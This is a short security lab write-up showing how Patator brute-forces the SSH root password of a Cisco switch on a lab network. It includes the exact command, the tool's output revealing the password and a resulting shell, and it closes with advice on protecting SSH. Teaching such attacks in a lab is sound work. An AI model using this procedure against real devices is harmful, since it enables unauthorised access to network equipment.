LABS

# Password guessing attack

  1. Goal

    • Getting SSH access to a switch

  2. Used hardware

    • 1 laptop with Kali Linux
    • 1 Cisco device

  3. Used software

    • Kali Linux (2020.1)

  4. Setup

    Success

  5. Getting started

    1. The username (root) is already obsolete and the IP address of the switch is 192.168.1.254.

    2. Check the SSH connection of the switch.

    kali@KALI1:~$ ssh 192.168.1.254 -l root
Password: 
Password: 
Password: 
root@192.168.1.254's password: 
Connection closed by 192.168.1.254 port 22
kali@KALI1:~$
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    1. Start Patator on Kali Linux

    More information about Patator (opens new window)

    • Select the module ssh_login.
    • Define the host and user.
    • Select a password file.
    • Ignore "Authentication failed" messages.
    kali@KALI1:~/Desktop$ patator ssh_login host=192.168.1.254 user=root password=FILE0 0=password.lst -x ignore:mesg='Authentication failed.'
14:01:47 patator    INFO - Starting Patator v0.7 (https://github.com/lanjelot/patator) at 2020-05-26 14:01 CEST
14:01:47 patator    INFO -                                                                              
14:01:47 patator    INFO - code  size    time | candidate                          |   num | mesg
14:01:47 patator    INFO - -----------------------------------------------------------------------------
14:08:34 patator    INFO - 0     18     2.155 | toor                               |   450 | SSH-2.0-Cisco-1.25
^C
14:10:59 patator    INFO - Hits/Done/Skip/Fail/Size: 1/611/0/0/3560, Avg: 1 r/s, Time: 0h 9m 12s
14:10:59 patator    INFO - To resume execution, pass --resume 61,61,61,61,61,61,61,61,61,62
kali@KALI1:~/Desktop$
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    The password (toor) has been retrieved!

    1. Check the SSH connection of the switch.
    kali@KALI1:~$ ssh 192.168.1.254 -l root
Password: 
S1#
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  6. Conclusion

    • Protect your SSH connections well! (Management VLAN, strong passwords, restrict access, ...)

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